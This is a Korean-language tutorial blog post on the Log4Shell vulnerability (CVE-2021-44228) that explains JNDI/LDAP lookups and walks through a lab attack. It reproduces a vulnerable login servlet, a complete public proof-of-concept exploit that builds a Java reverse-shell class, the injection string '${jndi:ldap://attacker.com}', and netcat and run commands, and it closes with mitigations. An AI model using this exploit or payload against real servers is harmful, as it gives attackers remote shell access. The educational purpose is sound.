Log4j?

Log4j

2021-12-9일에 발견된 제로데이 취약점으로 알리바바 보안 팀에 의해 최초로 알려졌지만 ‘cloudflare’에 따르면 취약점이 발표되기 8일 전인 121일부터 해킹에 사용되고 있었다고 합니다.

 

자바는 전 세계적으로 사용되는 프로그래밍 언어입니다. 거기에 더해 Log4j는 자바의 라이브러리에서 빈번하게 사용되는 패키지로 원격코드실행(RCE : Remote Code Execution)이 가능합니다.

 

서비스를 제공하는 회사 차원에서는 로그인을 비롯한 서칭, 접근 등 행위에 대한 모든 로그를 기록하는 것을 중요시합니다. 이때 사용되는 것이 바로 로그 기록의 프레임워크인 Log4j이며 이는 로그를 포맷팅, 필터링하고 애플리케이션의 파일로 이를 기록합니다.

 

 

Log4j 원리

해당 취약점은 유저의 입력을 신뢰하며 lookup이라는 기능이 사용된다는 점에서 문제가 발생하였습니다. 개발자는 로그를 기록할 때 메시지 데이터만 로그로 사용할 것으로 생각했던 거 같습니다. 하지만 Log4j 2.0 버전부터 JNDI를 이용하게 되면서 디렉터리 서비스에 접근하여 값을 변경하거나 객체를 다운받는 기능들이 제공되었고 이로 인해 본격적인 공격들이 시작되었습니다.

 

JNDI

Java Naming and Directory Interface의 약자로 클라이언트가 데이터나 객체를 lookup 할 수 있는 Java API입니다. lookup이란 데이터 및 객체를 찾아 참고하는 작업 즉, 외부에 있는 객체를 가져오기 위한 기술입니다.

 

LDAP

Lightweight Directory Access Protocol의 앾자로 파일이나 여러정보를 검색할 수 있도록 해주는 프로토콜입니다. 이는 JNDI의 디렉터리 서비스로 자주 사용됩니다.

 

Log4j는 사용자의 입력값을 로그로 기록하는데 이때 입력된 JNDIlookup을 수행하며, ldap를 사용하여 외부 서버로 접근하게 되고 이는 곧 악성 행위 클래스를 내려받는 행위로 이어지게 됩니다.

 
 

Log4j 동작 과정

공격 과정 설명에 앞서 user-agent에 공격 벡터를 삽입한 이유는 피해 서버가 user-agent에 대해서 log.info를 출력한다는 가정하에 진행한 것입니다.

 

1. phase1에서 공격자는 Log4j 취약점을 내포하고 있는 서버에게 jndi:ldap 명령어가 삽입되어 동작하도록 log를 기록하는 user-agent의 값에 문자열로 구문을 입력합니다.

User-Agent: ${jndi:ldap://attacker.com}

 

2. 피해 서버에서는 Log4j 로깅 과정에서 ldap가 실행되어 공격자 서버로 접속하게 됩니다.

log.info("User-Agent : ${jndi:ldap://attacker.com}");

 

3. 공격자의 ldap 서버에서는 exploit.class의 위치가 담긴 ldap response를 보내어 다운되도록 만듭니다.

 

4. phase2에서는 피해 서버에서 exploits.class가 실행되며 RCE가 가능하게 됩니다.

 

 

Log4j 환경 구축 및 실습

웹 사이트 소스 코드

package com.example.log4shell;

import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

import com.sun.deploy.net.HttpRequest;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


@WebServlet(name = "loginServlet", value = "/login")
public class LoginServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String userName = req.getParameter("uname");
        String password = req.getParameter("password");

        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("<html><body>");

        if(userName.equals("admin") && password.equals("password")){
            out.println("Welcome Back Admin");
        }
        else{

            // vulnerable code
            Logger logger = LogManager.getLogger(com.example.log4shell.log4j.class);
            logger.error(userName);

            out.println("<code> the password you entered was invalid, <u> we will log your information </u> </code>");
        }
    }

    public void destroy() {
    }
}

userName의 입력값이 별다른 검증없이 ‘logger.error’를 통해 로그로 기록됩니다. 이 부분에 JDNI injection이 가능한 것으로 보입니다.

 

Exploit 소스 코드

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

# Exploit.java 파일을 만드는 함수
# 해당 함수를 실행하면 Exploit.class 파일이 생성되고
# 코드에 나와있듯이 공격자 서버로 리버스 쉘을 연결하는 클래스를 생성한다.
# 해당 클래스 파일이 취약한 웹서버로 전송 후 실행되게 한다.
def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

# 페이로드 함수에서는 3가지의 기능이 있다.
# 1. generate_payload -> Exploit.class 악성 자바 클래스 파일을 생성
# 2. Ldap_Server(Port 1389) 활성화 -> LDAPRefServer 를 쓰레드로 불러서 LDAP 요청에 대해서 응답을 대기한다.
# 3. SimpleHttpServer 활성화(Port 8000) -> LDAPServer에서 해당 웹서버로 LDAP 응답이 가도록 하여 해당 웹서버에서 취약한 웹서버로 
# 1 에서 만든 Exploit.class 파일이 다운로드가 된다
def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

# Java를 실행해야 하기 때문에 현재 poc.py를 실행하는 폴더 경로에 jdk1.8.0_20버전의 자바파일이 꼭 있어야 한다.
def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0

# ldap_server를 실행하는 부분으로 해당 함수가 실행된후, ${jndi:ldap://%s:1389/a} 를 취약한 웹서버에서 입력하면,
# ldap 요청이 ldap_server로 오게 된다.
def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])


def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)


if __name__ == "__main__":
    main()

 

 

피해자 서버 환경 구성

웹 서버 정보

- ubuntu 18.04

- IP : 10.0.2.15

- log4j 버전 : 2.14.1

 

명령어

- git clone https://github.com/kozmer/log4j-shell-poc

- cd log4j-shell-poc

- docker build -t log4j-shell-poc .

- docker run --network host log4j-shell-poc

 

파일을 다운받아 도커를 빌드하여 실행시켜 Log4j 취약점을 내포한 웹 서버가 동작하도록 만들어 줍니다.

 

공격자 서버 환경 구성

공격자 환경 정보

- Linux Kali 5.15.0-kali3-amd64

- IP : 10.0.2.15

- ldap port: 1389

- Web port: 8000 (exploit.java 다운용 웹 포트)

- nc port : 9001 (리버스 쉘용 포트)

 

명령어

- git clone https://github.com/kozmer/log4j-shell-poc

- cd log4j-shell-poc

- pip3 install r requirements.txt

 

추가로 JDK 1.8 버전을 다운받아 위 디렉터리에 jdk1.8.0_20이라는 이름으로 설정해 두어야 합니다.(POC 설명은 뒤에서 진행하도록 하겠습니다.)

 

nc nlvp 9001

python3 poc.py userip 10.0.2.15 --webport 8000 lport 9001

 

리버스 쉘 연결용 port9001일을 대기시켜 둡니다. 이제 userName 통해 jndi:ldap 구문이 입력되면 ‘exploit.class’가 피해 서버에 다운되고 실행될 것입니다.

 

다음과 같이 피해 서버 userName 파라미터에 JNDI injection을 시도합니다.

 

피해 서버에는 다음과 같이 .로그가 기록됩니다.

 

피해 서버로부터 LDAP 쿼리가 request로 와서 ‘Exploit,class’resposne 해준다는 내용입니다.

 

nc로 리스닝 하려고 대기하고 있던 포트는 피해 서버에 ‘exploit.class’ 실행되어 연결에 성공하였습니다. 쉘을 획득했기에 서버에 대한 탐색과 수집에 있어 자유로워지게 되었습니다.

 
 

Log4j 해결 방안

초동대응 방안

- 웹 방화벽(WAF)의 규칙에 따른 차단

- 환경에 따라 룰을 변경

- 당장 공격은 막을 수 있지만 우회 가능성이 존재

 

- Log4j 사용을 중지

- 로그 기록 자체를 불가하게 함

 

- JNDI Lookup 기능 제거

- log4j2.formatMsgNoLookupstrue로 설정

 

고등대응 방안

- Log4j를 업데이트

- 2.15.0 버전 이후에는 lookup 동작의 비활성화

- 2.16.0 부터는 기능 제거

 

 

 
 

 

+ Recent posts